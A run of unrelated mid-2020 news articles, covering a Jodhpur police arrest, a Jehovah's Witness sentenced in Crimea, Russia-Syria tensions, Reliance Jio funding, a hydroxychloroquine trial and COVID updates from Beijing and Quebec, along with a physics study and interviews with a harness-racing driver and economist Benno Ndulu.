George Floyd, a 46-year-old black man, died after being arrested by the police outside a shop in Minneapolis in the US. Footage showed a white officer, Derek Chauvin, kneeling on Floyd's neck for several minutes while he was pinned to the floor. He was pronounced dead later in the hospital, triggering widespread protests across the US.

However, in the Jodhpur incident, the man, identifed as Mukesh Kumar Prajapat, did not die but instead started fighting with the policeman.

Jodhpur police officers confirmed that the video was shot in the city on Thursday after the police wanted to issue a challan against the man for roaming on the streets without wearing a mask before he started manhandling the police.

The video shows a cop pressing his neck with his knee while two other cops held the young man's legs. A huge crowd gathered when the scuffle broke out.

Meanwhile, the SHO of Dev Nagar police station, Somkaran, said that the police were issuing a challan to Prajapat when he attacked them and tore their uniform. An FIR has been lodged against Prajapat on a complaint lodged by the Pratap Nagar police station. He will be produced in the court later in the day.

Prajapat is said to be mentally challenged and had damaged his father's eye earlier for which a case was registered against him, the poice said. Action is bein initiated against Prajapat under the Epidemic Act, they added.

-- The story has been published from a wire feed without any modifications to the text
Gerasimov is the second Jehovah's Witness to be sentenced in Crimea, and the 30th Jehovah's Witness convicted in Russia and Crimea since 2017.

A court in Russian-annexed Crimea has sentenced a Jehovah's Witness to six years in prison for being a member of an extremist group.

The Kharkiv Human Rights Protection Group, a Ukrainian organization, called the sentencing of Artyom Gerasimov on June 4 "a shocking escalation of repression in occupied Crimea," Radio Free Europe / Radio Liberty (RFE/RL) said.

Read alsoEnvironmental disaster over lack of water unfolding in occupied Crimea (Photos)

Russia officially banned the Jehovah's Witnesses in April 2017 and deemed it an "extremist organization," despite widespread condemnation from Western countries and human rights groups.

The Supreme Court in Crimea ruled in an appeal on June 4 that Gerasimov should serve six years in a penal colony.

The sentence came after Gerasimov appealed a Yalta city court fining him 400,000 rubles ($5,785) in March, the Jehovah's Witnesses said in a statement.

The prosecutor's office then demanded 6.5 years of imprisonment.

"Today's ruling by the Crimean Supreme Court brings religious persecution to a new level of cruelty," Jehovah's Witnesses spokesman Jarrod Lopes said.

According to the group, Gerasimov is the second Jehovah's Witness to be sentenced in Crimea, and the 30th Jehovah's Witness convicted in Russia and Crimea since 2017. Ten have been imprisoned.

On March 5, a Crimean court found Sergei Filatov guilty of being a member of the religious group and sentenced him to six years in prison.

For decades the Jehovah's Witnesses have been viewed with suspicion in Russia, where the dominant Russian Orthodox Church is championed by President Vladimir Putin.

The Christian group is known for door-to-door preaching, close Bible study, rejection of military service, and not celebrating national and religious holidays or birthdays.

Authorities in annexed Crimea also persecute members of the Muslim organization Hizb ut-Tahrir, which was declared a terrorist group in Russia.

Dozens of people have been convicted for involvement in the group's activities. Neither Hizb ut-Tahrir nor the Jehovah's Witnesses are banned in Ukraine.

Crimea has been controlled by Moscow since March 2014, when Russia forcibly annexed the peninsula, sending in troops and staging a referendum denounced as illegitimate by at least 100 countries, after Moscow-friendly Ukrainian President Viktor Yanukovych was ousted amid a wave of public protests.
Moscow is reportedly disgruntled with the Syrian government and their decision to allow Iranian forces near Damascus airport, despite previous promises writes Asharq Al-Awsat.

Indications emerged yesterday in Moscow of new tensions with Damascus, described as Russian discontent, as the Syrian government appears to neglect its promises and allowed the return of Iranian forces to vital areas that Moscow and Damascus had previously agreed would be off limits.

Russian media quoted sources as saying that Moscow was yet again facing Damascus retreats from its prior agreements. Outlets pointed to information confirming the presence of Iranian forces and groups belonging to Tehran near the Damascus airport, in a location called the glass room. According to information, Moscow had asked Syria to place restrictions on an Iranian presence in this area, especially after Damascus airport faced a number of airstrikes by Israel. Data published by Russian search engine Rambler, said the complex contains about 180 rooms and had been used as an Iranian administrative center for operations management, before the area was emptied out, as per an agreement between Russia and Damascus. Moscow later pledged to restore the complex, and was preparing to pump investments into it.

Data indicated that several Iranian meetings took place in this complex after the Russia-Damascus agreement. Among them was a wide reaching meeting in January. Iranian forces subsequently continued to use the complex for multiple purposes, including treating the wounded and those ill with coronavirus inside a hospital there.

Sources said that Moscow was drawing up plans to invest in the Damascus airport and use the surrounding areas, and was keen on removing the Iranians so that it wouldnt face renewed Israeli airstrikes.

But an Iranian presence near Damascus airport is not the only reason for Moscows growing discontent with Damascus. Sources reported that Russia also criticized Damascus for violating a prior agreement regarding ensuring security in the south, which had been reached between Russia, Jordan and Israel and stipulated that the Iranians and other forces affiliated with Tehran withdraw 80 kilometers away from the southern border area. According to the sources, Damascus also violated this agreement by allowing the return of Iranian forces to the area.

Meanwhile, the situation on the ground in Idleb appeared to be heading towards greater escalation, as the tone of Russias warnings over continued provocations by Jabhat al-Nusra increased. Though Moscow yesterday avoided commenting on reports of Russian airstrikes on Idleb, the head of the Russian Reconciliation Center for Syria, Alexander Sherbetsky, issued a statement that appeared to be aimed at justifying this development. Sherbetsky stated that, militants from [Jabhat al-Nusra] bombed four towns in three Syrian governorates over the past 24 hours.

He added that the [al-Nusra] provocation had targeted al-Malaja, Kafr Mous [in Idleb governorate], Qabtan al-Jabal [in Aleppo governorate] and Keiliz [in Lattakia governorate].

Sherbetsky pointed out that Russian military police conducted regular patrols in Aleppo and Hasskeh governorates, in addition to Russian warplane patrols in the area. Statements released in recent days by Russias Defense Ministry focused strongly on what they described as attempts by [al-Nusra] to undermine the ceasefire agreement, while emphasizing each time that Russia did not observe violations from Turkish-supported factions, indicating that Moscow hopes to ensure that deteriorating conditions on the ground do not impact the Russian-Turkish agreement regarding Idleb.

This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Mukesh Ambani-led Reliance Jio has received a spate of investments worth Rs 92,202.15 crore in the last six weeks.

While the world is grappling with the COVID-19 outbreak with businesses and economies taking a severe hit, India's largest mobile operator is on a money-raising spree from leading global companies of the likes of Facebook, General Atlantic, KKR, Vista Equity Partners, Silver Lake and, the latest, Abu Dhabi-based sovereign investor Mubadala.

Also Read: How Coronavirus crisis has helped Reliance Jio emerge winner in digital economy

Mubadala has invested Rs 9,093 crore in Jio platforms, translating into 1.85% equity stake on a fully diluted basis. This takes Jio's valuation to an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore, RIL said on Friday.

Reliance Industries Ltd (RIL) is also reportedly holding talks with Adu Dhabi Investment Authority, and Saudi Arabia's Public Investment Fund.

RIL's share prices scaled new heights on Friday morning with conglomerate's share price touching a 52-week high of Rs 1,617.7 per share as investors reacted to the news of Reliance selling its minority equity stake to Mubadala.

Also Read: Abu Dhabi's Mubadala to invest Rs 9,093.60 cr in Mukesh Ambani's Jio Platforms

Below is the timeline of all recent investments in Reliance Jio's platforms:-

April 22 - Facebook investment: The social media giant announced an investment of Rs 43,574 crore in Reliance Jio accounting for a 9.99% stake in the company's platforms.

May 3 - Silver Lake: The American private equity (PE) giant picked a 2.08% stake in Reliance Jio with an investment of Rs 10,202.6 crore in its platforms.

May 8 - Vista Equity: The US-based private equity firm picked a 2.32 percent stake in RIL's Jio platforms for Rs 11,367 crore.

May 17 - General Atlantic: The New York-headquartered PE firm announced an investment of Rs 6,598 crore in Reliance Jio for a 1.34% stake.

May 22 - KKR: The US-based PE company bought a 2.32% stake in Jio platforms for Rs 11,367 crore.

June 5 - Mubadala: The Abu Dhabi-based sovereign investor announced an equity infusion of Rs 9,093.6 in Reliance Jio on Friday in exchange for 1.85% stake in the telecom arm of RIL.
The malaria drug, hydroxychloroquine, was ineffective in preventing infection in people exposed to coronavirus, a clinical trial released on Wednesday said.

The study was conducted on 821 people by researchers from the University of Minnesota and Canada.

The study is the first large controlled clinical trial of hydroxychloroquine conducted after the malaria drug was promoted by U.S. President Donald Trump as a treatment for COVID-19.

In March, Mr Trump repeatedly promoted the drug saying he had recently taken it himself.

He said hydroxychloroquine, used in combination with the antibiotic azithromycin, had a real chance to be one of the biggest game-changers in the history of medicine, with little evidence to back up that claim.

He later said he took the drugs as a preventive measure after two people who worked at the White House were diagnosed with COVID-19, the illness caused by the coronavirus.

But the latest report from Canadian researchers said the drug has no proven potency against coronavirus after hundreds of patients were evaluated.

It came as two leading American medical research publications retracted a study that claimed chloroquine was both ineffective and fatal to Covid-19 patients.

Four medical experts had authored the controversial findings in the New England Journal of Medicine and The Lancet, drawing widespread skepticism from other experts who said the fatality claim was a new dimension that should be thoroughly investigated for accuracy.

But after the authors of the research failed to provide the raw data that formed the basis of the research to the New England Journal of Medicine and The Lancet, the two organisations decided to withdraw the entire research, including its key claim that hydroxychloroquine is fatal for Covid-19 patients, on Thursday.

The study conducted in the U.S. and Canada was also the first to test whether the drug could prevent illness in people who have been exposed to the coronavirus.

Ever since Mr Trumps pronouncement, there have been a lot of debates raised on if the widely available malaria drug would be effective in the fight against the COVID-19.

The debate on the efficacy of the drug also took place in Nigeria when a politician and founder of DAAR Communications, Raymond Dokpesi, said he used chloroquine as part of his treatment for COVID -19.

Proponents of the drug as a COVID-19 treatment argue it may need to be administered at an earlier stage in the disease to be effective. Others had suggested that it needs to be used in combination with the mineral zinc, which can help boost the immune system

In the study, the patients were picked at random to receive either an experimental treatment or a placebo considered the most reliable way to measure the safety and effectiveness of a drug.

The participants were healthcare workers and people who had been exposed at home to ill spouses, partners or parents.

Findings

The lead author of the study, David R. Boulware, from the University of Minnesota, told The New York Times that the take-home message for the general public is that if youre exposed to someone with COVID-19, hydroxychloroquine is not an effective post-exposure preventive therapy.

The study found 11.8 per cent of subjects given hydroxychloroquine developed symptoms compatible with COVID-19, compared with 14.3 per cent who got a placebo.

The difference was not statistically significant, meaning the drug was no better than the placebo.

More than 20 per cent of the trial subjects also took zinc, which had no significant effect.

The U.S. Food and Drug Administration cautioned in late April against the use of hydroxychloroquine in patients with heart disease due to an increased risk of dangerous cardiac rhythm problems.

Boulware said his trial had fewer participants than initially planned because of difficulty enrolling new subjects after the FDAs warning.

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Our data is pretty clear that for post-exposure, this does not really work, he said.

I think both sides  one side who is saying this is a dangerous drug and the other side that says this works  neither is correct, said Boulware.

Several trials of the drug have been stopped over concerns about its safety.

Resumed study

However, the World Health Organisation has also resumed its trial of hydroxychloroquine after the research was temporarily halted over safety concerns.

On May 25, WHO announced it had temporarily suspended its trial of the drug over safety concerns.

The announcement came days after a study published in the medical journal, The Lancet found that hospitalised COVID-19 patients treated with hydroxychloroquine had a higher risk of death than those who didnt take it. That study is now being reexamined.

The Data Safety Monitoring Board decided there was no reason to discontinue the international trial after reviewing available data on the drug, WHO Director-General, Tedros Ghebreyesus, said during a press conference Wednesday at the agencys Geneva headquarters.

Meanwhile, some European governments have banned hydroxychloroquine for COVID-19 patients, and U.S. hospitals have significantly cut back on its use.

Mr Ghebreyesus said the executive group received the new recommendation and endorsed the continuation of all arms of solidarity trial including hydroxychloroquine.

He said theres no evidence that any drug actually reduces the mortality in patients who have COVID-19.

Mr Ghebreyesus also said the safety board will continue to closely monitor the safety of all therapeutics being tested in its trials, which involve more than 3,500 patients across 35 countries.
Beijing will lower its emergency response to the coronavirus epidemic from the second level to the third from Saturday, a local official announced Friday, in yet another signal that the outbreak is well under control in China while it rages as a pandemic globally.

The local government spokesperson Xu Hejian said Beijing had not reported any locally transmitted or imported case of Covid-19 for 50 consecutive days, signalling measures taken to control the pandemic had worked.

Overall, Beijing had reported 420 local and 174 imported cases of Covid-19, Xu said, adding that the death toll stood at nine.

The lowering of the emergency level means that people from the central Chinese province of Hubei and its capital Wuhan, where the coronavirus disease outbreak emerged late last year, will not required to be quarantined.

However, those returning to Beijing from outside China would continue to be quarantined.

It also mean that temperature checks will not be mandatory in residential communities.

On January 24, Beijing had activated the highest level of public health emergency response to contain the outbreak.

At the height of the outbreak in China in February Beijing, a city of more than 20 million people, had imposed strict rules to control the movement of people and vehicles within the city, cut of inter-city transport links and had made wearing masks compulsory.

Most restaurants and bars and non-essential community services were shut down.

Movie halls, which were shut down in the last week of January, are yet to open.

More than two months later, on April 30, it had lowered the emergency response level from the highest to the second-level.

Under the new regulations, couriers, deliverymen, housekeepers and real estate agents with green health codes were allowed to enter residential communities.

The province of Hubei, meanwhile, has cleared all its confirmed Covid-19 cases on Thursday, the provincial health commission said Friday.

As of Thursday, the last three Covid-19 patients in the province had been cured.

At least 217 asymptomatic cases were still under medical observation as of Thursday, official news agency, Xinhua reported.

Hubei had reported a total of 68,135 confirmed Covid-19 cases with 4,512 deaths, the bulk of all cases in China, which, overall, has reported more than 83000 cases and 4634 deaths.

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An international team has developed a sophisticated experimental technique at BESSY II to observe the formation of a metallic conduction band in electrolytes.

The team then examined these liquid jets using soft X-rays at BESSY II and subsequently has been able to analyse this process in detail from the data they acquired combined with theoretical predictions. The work has been published in Science.

What distinguishes metals from other materials is generally well understood. In a metal, some of the atoms' outer electrons move through the crystalline lattice in what is called a conduction band. This is how metals conduct electric current. In contrast to metals, the ions in electrolytes are disordered and electrical conductivity even decreases with increasing ion concentration. So how does metallic behaviour arise from the many individual metal atoms dissolved in the electrolyte? At what concentration and exactly how does a conduction band form, and how do the electron orbitals behave during this process?

A large international collaboration has now developed a sophisticated experimental technique that makes it possible to observe these processes for the first time. 17 authors at institutes in Kyoto, Los Angeles, Paris, Prague and Berlin have contributed their expertise.

One of the main authors is Dr. Bernd Winter from the Fritz-Haber-Institut Berlin, who set up the experiment at BESSY II together with Dr. Robert Seidel, head of the HZB Operando Interfacial Photochemistry Young Investigator Group and his team. As a first step, the physicists dissolved alkali metals such as lithium and sodium in ammonia, forming solutions. The metal atoms become positively charged ions and their outer electrons are drawn into the liquid ammonia solution. These solutions are slightly blue at low metal concentrations, but as the metal concentration is increased, the blue colour becomes more intense until it transitions to a golden hue. This surprising color change is related to the electron states in the dissolved metals, the scientists assumed.

Using the SOLPES instrument at the BESSY II U49/2-PGM-1 beamline that Seidel supervises, the team was able to study different concentrations of the alkali-metal/ammonia solutions as extremely narrow liquid jets under ultra-high vacuum using photoelectron spectroscopy. The solutions had to be cooled to about -60 degrees Celsius. At this temperature, ammonia is a liquid and its evaporation is sufficiently low. This enabled them to actually measure the transition from electrolyte to metal precisely.

"We were able for the first time to capture the photoelectron signal of the excess electrons in liquid ammonia. We observed a narrow peak at about 2 electron volts (eV), which indicates the presence of dissolved electrons and dielectrons," says Winter. Seidel adds: "This also explains why the solution is initially blue at low and medium concentrations of metal ions: the solution absorbs light in the red region, which corresponds to the peak at 2 eV." As a result, the solution appears slightly blue as long as there are only individual dissolved electrons. This blue colour intensifies with the appearance of the first "electron pairs"- called dielectrons. The colour changes to golden as the alkali metal concentration increases. At the same time, this narrow absorption peak widens into a band with a sharp Fermi edge in the spectrum, as is characteristic of metals, accompanied as well by signals associated with collective excitations (plasmons) -- characteristic of free metallic electrons.

"The groups headed by the theoreticians Pavel Jungwirth and Ondrej Marsalek in Prague had been able to model the electronic structure of solvated electrons in solution in advance," says Winter. "We found that the binding energies they calculated fit very well with our experimentally determined values. This gave us confidence in our interpretation of the X-ray data."

The work is being published in Science because it makes an important contribution to the fundamental understanding of the transition from a non-conducting to metallic character in electrolytes. Moreover, there are even practical applications of solvated electrons, i.e electrons in solution, in organic chemistry as reducing agents for aromatic systems, in battery eletrolytes, and electronic capacitors.
MONTREALQuebec is reporting 50 new deaths from COVID-19, including 33 in the last 24 hours.

The province has also reported 17 deaths that occurred before May 29.

That brings the death toll in the province to 4,935.

There were also 255 new cases of COVID-19 on Friday for a total of 52,398 since the pandemic began.

The number of COVID-19 hospitalizations decreased by 46 to 1,030.

Of those, 131 people are in intensive care, down from 146 yesterday.

Premier Francois Legault is visiting Quebecs Eastern Townships on Friday, where hes expected to meet with health officials and hold a news conference.

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Randy Waples boasts a resume that some drivers work their entire careers to only achieve half as much. He's captured three O'Brien Awards, the North America Cup, Canadian Pacing Derby, Metro Pace, multiple Breeders Crowns and Maple Leaf Trots throughout his illustrious career. However, this Friday night when the lights go back on at Woodbine Mohawk Park, Waples will not only be making his first start since the harness racing industry paused due to COVID-19, but his first start of 2020.

Waples has earned more than $131-million in purses throughout his career, while making 6,638 trips to the winner's circle. He recorded 22 straight million-dollar seasons from 1996 to 2017, while just missing the seven-digit threshold in 2018 and 2019. In the past two seasons he's averaged less than 500 starts per year, numbers not seen on that side of his statistics since 1995. His last pari-mutuel start came in late November 2019, but the popular driver was back in the bike during the recent round of qualifiers at Mohawk.

Trot Insider caught up with Waples for an update on his hiatus that was prompted by leg and back issues.

As soon as I would sit the race bike it was just shooting pains up my leg. It was putting me to the point where I just couldnt show up anymore to drive -- I just didnt know when it was going to go off. Even when it was tolerable, an hour later it could just be pain.

Then there were just lots of times where Id shower and feel fine and fantastic and everythings good, but then maybe Id bend or twist the wrong way quickly or something like that just toweling off and all a sudden, there it is again and you just lose all control of your leg, noted Waples. Its there and you can walk on it, but you cant feel it and you cant really control it. So then you've got to hold your legs up on the stirrups and then it just got to the point where I thought it was over. I just didnt see it ever getting any better. I knew I couldnt drive that way, so I felt like it was done.

Putting the pain that he felt in his back and legs into words was much easier than the experience itself.

I could just touch myself in that area and it would just [cause] brutal, brutal pain. The worst thing about it is that it just feels like your leg is asleep all the time, and every once and awhile all the life will come back to it all at once and its just a rush of pain. Like to the point where youre almost going to vomit -- thats how hard it just hits you, and that was the thing, like Id be sitting there waiting to drive in the eighth or something like that, and the pain would hit [me] and it was just devastating.

Size matters, especially when it comes to fitting a driver into a racebike. And Waples admits he's bigger than most in that respect.

I guess you just sit a certain way, and Im a 511 driver. So, maybe not as much now because since about 2000 a lot of drivers use their own bikes and while I always use my bike, there are still people that you drive for that want to use their own bike still and they have them set for a guy that is as tall as Trevor Ritchie, or someone around that height. I think after years and years of trying to cram myself into that little space, it just kind of did something to my posture where I was just sitting improperly all the time and then all a sudden all of this pain just appeared.

As a catch driver, or any horseman for that matter, it can be very difficult to take it easy even by doctor's orders.

The doctor kept telling me to rest it and Im like Well, I am resting it but then he goes Youre not doing that at all? and Im like Yeah, I go in and I only go with two horses. I dont do anything. He said its the standing around. You have to be off your back when its your back and off your feet. So I quit for a month maybe, I just stopped going in and then it really got better real, real fast and just sporadically once and awhile it was there, but nothing that I couldnt deal with.

Then right around the middle of April, its gone. Other than that time that I broke like the nine bones and I had six months off, this is the longest Ive ever not had to really race and not sit behind a lot of horses. Its really rested me up big time.

While rest and time are nearly guaranteed to heal anything, Waples also credits the use of laser therapy on his road to recovery.

Ive been using a cold laser on it, and that really seems to help it a lot. I noticed a huge difference as soon as I started to use that. The biggest thing [it would do] is take the pain away. I mean the pain would come back after 15 minutes but it was 15 minutes free of pain. I just kept using it and using it and then I started to notice that when I would put the laser near the spot that hurt the worst, all a sudden it wasnt hurting as bad...I could actually push up against myself with this laser and it wasnt hurting.

Though he is now able to give himself a clean bill of health, Waples continued to explain the difficulty in maintaining race shape along with the importance of maintaining the health of an active participant.

When Im healthy, I dont drive with my arms -- everything goes through my legs. If I want to move a horse to the inside I dont necessarily yank on the left line, I just kind of like push with my leg on the bike itself and my arm kind of moves with the bike. Then theyll come over because theyre very responsive with the bit. So, to me, my legs will always be the most important part of my driving... maybe thats why people say Im so good with horses that pull. Then, all of a sudden, my legs didnt work any more.

Im not a big guy. Its not easy to be 55 years old, 511 and weigh 155 pounds, because my body doesnt want to be 155 pounds anymore. Im an old man, it wants to put on weight, but I have to keep it down, stated Waples. So Im not an overly strong guy because I never have enough food in me and stuff like that, like I dont look after myself that way. You look at guys like [Brian] Sears or even a guy like Dougie [McNair] theyre in cracking good shape. Its incredible the shape that theyre in and thats why they win a lot of races. Ive always been a workout fiend, but its just in the last few years with my back and that, I just couldnt do it. I was trying to starve myself to keep my weight down, which I did a good job of that but it always leaves you weak.

While he paints a picture of a driver facing a struggle to stay fit and competitive, Waples notes he has been able to find a healthier and happier balance as of late.

The way I am now with the routines in the morning with the horses and then working out in the afternoon I can pretty well eat whatever I want and I dont put on much weight. I rode for Dr. Ian Moore for 14 days or whatever while he was quarantining and I was jogging nine a day there. Now Ive been working for Casie [Coleman] and though Im just waiting for the ball to drop and the pain to come back, I honestly can say its as good as can be. Right now, everything is really good and Im just praying to God it doesnt come back.

On that more positive note, even though Waples has driven in nearly 44,000 races in his career, he still gets excited to sit behind a racehorse to feel the adrenaline rush -- a rush he has been craving to feel for months, and a rush he'll be able to experience again on Friday (June 5) when live harness racing returns to Woodbine Mohawk Park.

I cant wait. I really cant wait to get back there and do it. You miss the adrenaline, you miss everything about it -- the electricity as soon as you walk in even if youre not racing...its electric, and you miss that sort of stuff. I dont miss the late nights though, Im pretty sure I could get away with getting electric in the afternoon or with a twilight post time or something. But, you miss it...even on qualifying days, those baby race days, theres a little buzz in the air and I miss that.

Waples has been missed not only on the racetrack but around the WEG driving circuit as well, and despite the pain he has had to overcome his noted sense of humour is still fully intact.

The other day I was standing outside Bob Youngs barn at First Line Training Centre and Rick Zeron drove in. So I greeted him quite well, I walked out in the middle of the yard in front of the car while he was talking to somebody, pulled my pants down and mooned him.

In the end, perhaps laughter is indeed the best medicine.
Yves here. Weve focused on the impact of coronavirus on major economies because not only is that where our readers mainly are but also because, as bank robber Willie Sutton noted, Thats where the money is (and thats where the reporters are). Having said that, Jerri-Lynn has kept readers abreast of developments in India, such as its success in distributing stimulus payments quickly as well as how its poorly-conceived lockdown led to mass migration of poor workers from the cities to the countryside.

This talk with Pr Benno Ndulu, gives a nuanced picture of the day-to-day impact of coronavirus on African countries and the various approaches they are taking to reduce the economic damage and harm to citizens, and also sheds light on the stresses other developing countries face.

By Folashade Soule, Advisor, Commission on Global Economic Transformation and Senior Research Associate in International Relations, University of Oxford; and Camilla Toulmin, INET Associate. Originally published at the Institute for New Economic Thinking website

Pr Benno Ndulu is the former Governor of the Bank of Tanzania (2008-2018), and a Professor of development economics at the University of Dar-es-Salaam (Tanzania). Prof Ndulu is also a member of President Ramaphosas (South Africa) Economic Advisory Council. He worked as a Lead Economist with the Macroeconomic Division of the World Bank for Eastern Africa. He is best known for his involvement in setting up and developing one of the most effective research and training networks in Africa, the African Economic Research Consortium (AERC).

The COVID-19 pandemic has triggered in Africa, just as in many parts of the world, both a health and an economic crisis. Although the continent seems  for now  less affected than others by infection and high death rates, the economic impact is much harder. Growth in sub-Saharan Africa has already significantly been affected, in part due to lockdown measures, but also to a large cut in global demand. The World Bank is forecasting a fall from 2.4% growth in 2019 to -5,1% in 2020, causing the first recession over the past 25 years. From your standpoint, how do you assess the economic and social impact the pandemic is having on African economies and livelihoods?

Pr Benno Ndulu: There are actually three dimensions to the impact of Covid-19 and there is quite a significant diversity across Africa, partly because of the type of responses to the pandemic which varies significantly across countries. Firstly there are countries that have immediately intervened with lockdowns. Generally these countries have enough resources to provide a safety-net type of interventions, but there are also other countries which have imposed lockdowns without adequate safety nets. They have used the power of the state to enforce such lockdowns without taking measures to really take care of populations that cant go out and make an income. Remember, a significant proportion of the African population depends on day-to-day income in order to survive. So even among those who have enforced lockdowns, there is this big difference about access to safety-nets, and the impact will clearly be different too. There is another category of countries that have decided on going light on social distancing: they have simply put certain health measures of personal hygiene and social distancing in place, not meeting in large crowds and closing schools and universities. Im talking about countries like my own Tanzania, Ethiopia, Burundi and a good number of these are almost facing immediately elections and so they cant afford to do much by shutting down their economies. So I think a big part of this differentiation is the balance between lives and livelihoods. Those who can afford to implement safety nets are able to work with both, but those who are not able and who are also facing political pressure in terms of elections tended not to go that route. This is what I call adopting a Swedish model without the welfare system and without the capacity of the health system to deal with both testing and contact tracing and deal with care and handling emergencies. I think the depth of the economic difficulty coming out of the immediate response will very much depend on these categories. The difference between those that went through lockdowns and those that didnt is a matter of what happens after the lockdown gets eased off, particularly if they dont have the capacity to test and contact trace.

The second impact is the damage on economic activities in African countries, which is brought about by the immediate global reaction to the pandemic, particularly closure of borders with impacts on trade flows and tourism for example, and disruption of economic activities within those economies and collapse of global demand. Examples include the collapse in demand for oil, with a number of oil-producing countries in Africa hit by this collapse almost immediately. So this is a big set of impacts that we need to deal with. The third impact comes from the global recession , following disruptions both at home and in trading partners countries. We dont know yet whether the economic downturn we face is going to be V-shaped, U-shaped or L-shaped  if the last of these, we could be faced by a recession as long as that following the global financial crisis. And I happened to have been at the centre of that, as Governor of the Central Bank of Tanzania. Some countries are struggling because they dont have the fiscal space right now to deal with the combination of current crises. We have learnt from the global financial crisis: those countries that did implement some safety-net measures so as to avoid closure of activities and keep the economy as an ongoing concern could more easily resume the recovery process. Those that have undertaken enough safety nets to keep SMEs and the informal sector going will probably start the process ahead of those that did nothing.

For those that avoided lockdowns altogether, they might just continue with less disruption to the economy because they didnt close down, but there will probably be a cost in terms of lives.

I think for the majority of the African countries the big challenge comes from resource constraints, because they entered this crisis with depleted fiscal space, and serious debt distress. A majority are either in moderate or in high risk of debt distress, particularly low-income countries. I think this is going to be one of the biggest challenges. All countries need to take this not as business as usual, and agree to take some measures that are rather unprecedented. I also serve in President Ramaphosas (South Africa) Economic Advisory Council so Ive been able to see pretty close-up this process of managing responses. I think there is a very serious problem of dealing with reversible shocks, which youd have ridden through. But in order to go on to recovery you need growth and a lot of measures required to deal with the problem on the fiscal side. If you go for fiscal consolidation, all the rating agencies give you good marks, but at the cost of economic recovery. They take a stance that it has to get worse before it gets better.. Typically people say: try get some growth, but at the same time they tell you to start getting the fiscals under control, which doesnt make sense. I have a very clear position. You will have to get fiscals under control, but you need time. You need a much longer time frame to work with.

There have been increasing calls for multilateral support for debt cancellation and a moratorium on interest payments for African countries. There doesnt seem to be a unanimous position either within Africa or among creditors. Africas debt is owned by a variety of creditors, public and private, and the role of China who owns an important part of Africas debt is also central. What is the fiscal space available for African governments to respond to this? How can the debt issue be negotiated?

Pr Benno Ndulu: I think one has to take into account what countries, including developed countries, have done in terms of dealing with SMEs and corporates that need breathing space for adjustment. A moratorium on debt service has typically been one of the instruments that has been used to provide space for recovery. If the fiscal deficit to GDP ratio which is considered to be reasonable is 5%, they should know that you might have to operate in a fiscal scenario which is much worse than that for a while. However, you need to show you have a clear game plan in getting from here to there, where the fiscal deficit will be back at a sustainable level. You need to buy time.

There has been a huge change in the composition of African debt: its shorter in maturity, and commercial to a large extent which means reputational risk is a much bigger issue than it has been in the past. Thats where the rating agencies come in. Unfortunately, rating agencies have tended to act in procyclical way: when things are bad, thats when they pronounce you to be in really bad shape. African countries now have also to deal with a creditor coordination problem. It used to be the Paris Club and everything was settled there, but now there are new donors like China and the real question is how does one get coordination among all the creditors to deal with this issue. I also sit in the IDA19 replenishment group: one of the things that was clear was that some multilaterals, eg. IMF, have offered to give Africa moratorium in debt servicing. But we know a good number of the low-income countries in trouble actually owe their debt to the World Bank-which has not yet provided such help. I think we certainly need a moratorium on debt service, not necessarily cancellation, because a good number of countries have debt to GDP ratios that are not outrageous. Where its really hurting is the debt service to revenue ratio. A good number of them have violated the threshold already, and also debt service to export ratio. So the debt distress is not largely because of a solvency problem which is measured by debt to GDP ratios. Thus its not the ability to pay but the ability to convert the national income either through taxation, so that theres enough revenue to service the debt, or to convert it into foreign exchange (forex) so that theres enough forex to meet external debt service obligations.

And finally China, is one of the key players now. Collectively all debt from other bilaterals together account for a much smaller share of African debt than Chinas does at the moment. It is very important that debt restructuring continues, such as Chinas negotiations with Ethiopia. As far as we know, they have agreed a restructure from 7 year debt to almost 30 years, partly because of the maturity mismatch for projects that had not started yielding revenue. Despite this, the country had to start servicing the debt which produced that mismatch. So there should be pressure from all other creditors to get China to move towards that much more effectively.

The European Union is proposing a 500 billion Euro stimulus in the next few months. If this stimulus was going to provide the best effects for African economies, how would you like it to be designed? Whats going to work best for partner countries in Africa?

Pr Benno Ndulu: In fact stimulus might not be exactly the right word. Maybe rescue is the function that it is supposed to play. My sense would be, just like some countries had done in the global financial crisis from 2008 to 2010, to target particularly those sectors that had suffered most from the shock. So, for example, tourism in this case is going to be a huge challenge because of closure of borders. We know that the bulk of those that spend money and visit are not just on lockdown but also face much more stringent movement restrictions. So there are a number of firms that should be protected from disappearing by providing support for them to keep the employees in place and make sure that the equipment and everything else remains ready for the time when revival of trade happens. The same is needed for related activities like travel, airlines, small firms that ferry tourists to and from hotels, and cultural activities. Tourism is one sector which has the highest backward linkages: if you deal with that you deal with a lot of other sectors. My first application would be exactly to keeping a good number of those that have suffered most from this as a reversible shock, as ongoing concern. Secondly the social safety nets which have typically cushioned the effects on poorer segments of the society: fortunately in a number of countries, there are already programs that have been running and therefore the mechanisms are already there to continue putting resources into. This is just to make sure that segments of society benefit, not just from cash transfers, but help is given to these populations to make sure that their smallholder agriculture activity continue and their children keep going to school. Lets protect human capital from collapsing. Its not just jobs, but also education processes.

COVID-19 has been presented as a moment of reflection for African policymakers on how to rethink development models. Reflections by several organisations like the African Development Bank and UNECA have argued for further economic transformation by adopting measures to diversify economies and integrate the informal sector. How would you reflect on these?

Pr Benno Ndulu: First broadly, I think I agree with that. Responses to the pandemic have laid bare the pivotal roles of both the informal sector in rural and urban settings as well as SMEs in the livelihood of Africans. This has been the case, notwithstanding all the major efforts we have been involved with, in modernizing our own economies. We have got to make sure that any transformation strategy carries the bulk of those livelihoods in these sectors and to do so by raising their productivity. This is why better connectivity within value chains and also enhanced value realized from their effort, giving them better prices etc, to reduce their costs  and technology will play a great part of this. Formalization becomes quite important in the transformation process  we have seen that happening in Indonesia and also some examples in Africa. In Indonesia, all the motorcycle riders are now operating under one unit called gojek: not only has that allowed them to do their business much more efficiently, but it has also created a basis for them to have safety nets organized for the group of almost 3 million people now. Similar ones are coming up in Africa, be it Uber type motorcycles, but localized. These are all sprouting, and they provide a mechanism to really organize this kind of welfare systems; when there is such a shock its possible immediately to have that as a rescue mechanism, so that we are not totally unprepared. So long as more than 60/70 percent of Africans depend on this circuit, we have got to make these sectors much better than they have been. We in our own work in the Pathways for Prosperity commission have shown how this can be done: taking advantage of the digital economy and there are many solutions.

Secondly, the responses have also demonstrated the role of digital technology in clearly showing that we can reduce the cost of doing development by applying these technologies in the way we deliver services in education and health and we have many examples of how that can be done

